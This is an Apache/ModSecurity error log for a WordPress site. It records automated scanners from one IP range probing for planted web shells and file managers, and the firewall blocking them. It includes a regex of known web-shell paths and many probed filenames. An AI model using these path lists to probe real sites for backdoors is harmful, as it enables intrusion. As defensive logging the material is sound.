[Sat Feb 28 08:37:50.807931 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.29:27635] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaI43n6mbajs3bzQGyt_oQAAAVA"]
[Sat Feb 28 08:37:51.681058 2026] [:error] [pid 11791:tid 11812] [client 173.244.55.30:22879] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaI432uX5e1Q32gqxH0D6wAAARM"]
[Sat Feb 28 08:37:52.560953 2026] [:error] [pid 11791:tid 11803] [client 173.244.55.25:51111] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaI44GuX5e1Q32gqxH0D9gAAAQo"]
[Sat Feb 28 08:37:53.443102 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.25:53777] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaI44aIAO5fN7BxyqcEVpgAAAMI"]
[Sat Feb 28 08:37:54.320079 2026] [:error] [pid 39185:tid 39259] [client 173.244.55.29:29931] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaI44hVE-FfM89u7BQaPvAAAAI0"]
[Sat Feb 28 08:37:55.652203 2026] [:error] [pid 39292:tid 39297] [client 173.244.55.30:57487] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaI446IAO5fN7BxyqcEV8wAAAMM"]
[Sat Feb 28 08:37:56.527484 2026] [proxy_fcgi:error] [pid 39185:tid 39260] [client 173.244.55.21:56365] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:37:57.422866 2026] [:error] [pid 39185:tid 39246] [client 173.244.55.21:56365] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aaI45RVE-FfM89u7BQaP1AAAAIA"]
[Sat Feb 28 08:37:58.306144 2026] [:error] [pid 11791:tid 11794] [client 173.244.55.25:46933] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/bypass.php"] [unique_id "aaI45muX5e1Q32gqxH0ELAAAAQE"]
[Sat Feb 28 08:37:59.185763 2026] [:error] [pid 22194:tid 22203] [client 173.244.55.22:59897] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cgi-bin/bypass.php"] [unique_id "aaI4536mbajs3bzQGyuAMAAAAUc"]
[Sat Feb 28 08:38:00.060462 2026] [proxy_fcgi:error] [pid 39292:tid 39307] [client 173.244.55.23:45891] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:00.495173 2026] [:error] [pid 39292:tid 39312] [client 173.244.55.23:45891] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/admin.php"] [unique_id "aaI46KIAO5fN7BxyqcEWgQAAANI"]
[Sat Feb 28 08:38:01.388199 2026] [proxy_fcgi:error] [pid 39185:tid 39266] [client 173.244.55.31:58333] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:01.824063 2026] [:error] [pid 39185:tid 39253] [client 173.244.55.31:58333] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaI46RVE-FfM89u7BQaP_AAAAIc"]
[Sat Feb 28 08:38:03.133146 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.25:57843] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaI4636mbajs3bzQGyuAXQAAAVU"]
[Sat Feb 28 08:38:04.024298 2026] [proxy_fcgi:error] [pid 39292:tid 39303] [client 173.244.55.29:34025] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:04.463187 2026] [:error] [pid 39292:tid 39304] [client 173.244.55.29:34025] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaI47KIAO5fN7BxyqcEWyQAAAMo"]
[Sat Feb 28 08:38:05.355475 2026] [proxy_fcgi:error] [pid 22194:tid 22217] [client 173.244.55.21:55279] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:06.711837 2026] [proxy_fcgi:error] [pid 22194:tid 22215] [client 173.244.55.21:55279] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:08.044204 2026] [:error] [pid 22194:tid 22214] [client 173.244.55.21:55279] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaI48H6mbajs3bzQGyuAygAAAVI"]
[Sat Feb 28 08:38:08.928874 2026] [proxy_fcgi:error] [pid 22194:tid 22219] [client 173.244.55.28:34525] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:09.374143 2026] [:error] [pid 22194:tid 22200] [client 173.244.55.28:34525] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaI48X6mbajs3bzQGyuA7gAAAUQ"]
[Sat Feb 28 08:38:10.257470 2026] [proxy_fcgi:error] [pid 39183:tid 39201] [client 173.244.55.20:20839] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:11.157192 2026] [:error] [pid 39183:tid 39214] [client 173.244.55.20:20839] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaI48xCf4HvhVePw3LaW3AAAABY"]
[Sat Feb 28 08:38:12.487035 2026] [:error] [pid 11791:tid 11806] [client 173.244.55.22:23523] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaI49GuX5e1Q32gqxH0EywAAAQ0"]
[Sat Feb 28 08:38:13.831812 2026] [proxy_fcgi:error] [pid 39184:tid 39242] [client 173.244.55.28:50323] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:14.275013 2026] [:error] [pid 39184:tid 39237] [client 173.244.55.28:50323] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/item.php"] [unique_id "aaI49ltZF9Zd_U7easBxtwAAAFI"]
[Sat Feb 28 08:38:15.160085 2026] [proxy_fcgi:error] [pid 39185:tid 39253] [client 173.244.55.21:42045] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:16.047251 2026] [:error] [pid 39185:tid 39246] [client 173.244.55.21:42045] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaI4-BVE-FfM89u7BQaQlQAAAIA"]
[Sat Feb 28 08:38:17.353197 2026] [:error] [pid 22194:tid 22198] [client 173.244.55.21:56651] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaI4-X6mbajs3bzQGyuBawAAAUI"]
[Sat Feb 28 08:38:18.684912 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.29:58383] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaI4-n6mbajs3bzQGyuBjQAAAUU"]
[Sat Feb 28 08:38:19.558025 2026] [:error] [pid 22194:tid 22220] [client 173.244.55.22:39713] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaI4-36mbajs3bzQGyuBoAAAAVg"]
[Sat Feb 28 08:38:20.437276 2026] [:error] [pid 22194:tid 22201] [client 173.244.55.31:28933] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaI4_H6mbajs3bzQGyuBqQAAAUU"]
[Sat Feb 28 08:38:22.200444 2026] [proxy_fcgi:error] [pid 22194:tid 22217] [client 173.244.55.28:64091] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:22.641046 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.28:64091] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aaI4_n6mbajs3bzQGyuB4gAAAVU"]
[Sat Feb 28 08:38:23.516956 2026] [:error] [pid 39185:tid 39252] [client 173.244.55.21:38711] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aaI4_xVE-FfM89u7BQaQ9gAAAIY"]
[Sat Feb 28 08:38:24.390338 2026] [:error] [pid 22194:tid 22199] [client 173.244.55.21:24915] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaI5AH6mbajs3bzQGyuCBQAAAUM"]
[Sat Feb 28 08:38:25.259839 2026] [:error] [pid 39183:tid 39197] [client 173.244.55.28:32077] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "aaI5ARCf4HvhVePw3LaXXAAAAAU"]
[Sat Feb 28 08:38:27.031488 2026] [proxy_fcgi:error] [pid 11791:tid 11797] [client 173.244.55.20:54041] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:27.910463 2026] [proxy_fcgi:error] [pid 11791:tid 11806] [client 173.244.55.20:54041] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:28.357809 2026] [proxy_fcgi:error] [pid 11791:tid 11804] [client 173.244.55.20:54041] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:28.794702 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.20:54041] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah/function.php"] [unique_id "aaI5BGuX5e1Q32gqxH0FkwAAAQk"]
[Sat Feb 28 08:38:30.564958 2026] [:error] [pid 22194:tid 22217] [client 173.244.55.28:31567] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaI5Bn6mbajs3bzQGyuCYwAAAVU"]
[Sat Feb 28 08:38:33.788263 2026] [:error] [pid 22194:tid 22213] [client 173.244.55.23:48061] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaI5CX6mbajs3bzQGyuChgAAAVE"]
[Sat Feb 28 08:38:34.661112 2026] [:error] [pid 39292:tid 39314] [client 173.244.55.25:55251] [client 173.244.55.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.25, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaI5CqIAO5fN7BxyqcEYEQAAANQ"]
[Sat Feb 28 08:38:35.111444 2026] [proxy_fcgi:error] [pid 39292:tid 39301] [client 173.244.55.25:55251] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:37.322475 2026] [proxy_fcgi:error] [pid 39292:tid 39312] [client 173.244.55.25:55251] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:37.782459 2026] [proxy_fcgi:error] [pid 39292:tid 39304] [client 173.244.55.25:55251] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:38.659423 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.25:55251] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/product.php"] [unique_id "aaI5DqIAO5fN7BxyqcEYZAAAAMs"]
[Sat Feb 28 08:38:40.905176 2026] [:error] [pid 39185:tid 39267] [client 173.244.55.31:40579] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaI5EBVE-FfM89u7BQaRiAAAAJU"]
[Sat Feb 28 08:38:42.244493 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.29:48973] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aaI5EmuX5e1Q32gqxH0GWwAAARc"]
[Sat Feb 28 08:38:43.131452 2026] [:error] [pid 39185:tid 39249] [client 173.244.55.23:60977] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aaI5ExVE-FfM89u7BQaRlwAAAIM"]
[Sat Feb 28 08:38:44.012612 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.30:24169] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aaI5FGuX5e1Q32gqxH0GcgAAAQI"]
[Sat Feb 28 08:38:44.889402 2026] [:error] [pid 22194:tid 22210] [client 173.244.55.29:30049] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aaI5FH6mbajs3bzQGyuDKgAAAU4"]
[Sat Feb 28 08:38:45.782717 2026] [proxy_fcgi:error] [pid 11791:tid 11814] [client 173.244.55.31:27461] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:46.227617 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.31:27461] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaI5FmuX5e1Q32gqxH0GlAAAARQ"]
[Sat Feb 28 08:38:47.106164 2026] [:error] [pid 39292:tid 39306] [client 173.244.55.30:51899] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaI5F6IAO5fN7BxyqcEYvwAAAMw"]
[Sat Feb 28 08:38:47.987863 2026] [:error] [pid 22194:tid 22198] [client 173.244.55.28:30231] [client 173.244.55.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.28, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaI5F36mbajs3bzQGyuDXQAAAUI"]
[Sat Feb 28 08:38:48.435660 2026] [:error] [pid 22194:tid 22200] [client 173.244.55.28:30231] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap/function.php"] [unique_id "aaI5GH6mbajs3bzQGyuDZAAAAUQ"]
[Sat Feb 28 08:38:49.751758 2026] [:error] [pid 22194:tid 22197] [client 173.244.55.26:44111] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "aaI5GX6mbajs3bzQGyuDewAAAUE"]
[Sat Feb 28 08:38:51.083022 2026] [proxy_fcgi:error] [pid 11791:tid 11806] [client 173.244.55.28:41103] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:51.523646 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.28:41103] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/admin.php"] [unique_id "aaI5G2uX5e1Q32gqxH0GxQAAARA"]
[Sat Feb 28 08:38:53.310461 2026] [proxy_fcgi:error] [pid 11791:tid 11806] [client 173.244.55.20:23187] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:53.756172 2026] [:error] [pid 11791:tid 11807] [client 173.244.55.20:23187] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/autoload_classmap.php"] [unique_id "aaI5HWuX5e1Q32gqxH0G-gAAAQ4"]
[Sat Feb 28 08:38:55.074479 2026] [proxy_fcgi:error] [pid 39184:tid 39233] [client 173.244.55.25:44291] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:38:55.509969 2026] [:error] [pid 39184:tid 39224] [client 173.244.55.25:44291] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaI5H1tZF9Zd_U7easBydQAAAEU"]
[Sat Feb 28 08:38:56.818307 2026] [:error] [pid 22194:tid 22200] [client 173.244.55.26:41219] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aaI5IH6mbajs3bzQGyuD7wAAAUQ"]
[Sat Feb 28 08:38:57.687901 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.23:43919] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aaI5IaIAO5fN7BxyqcEZkgAAAMg"]
[Sat Feb 28 08:38:58.583219 2026] [proxy_fcgi:error] [pid 39292:tid 39303] [client 173.244.55.20:35557] AH01071: Got error 'Primary script unknown'
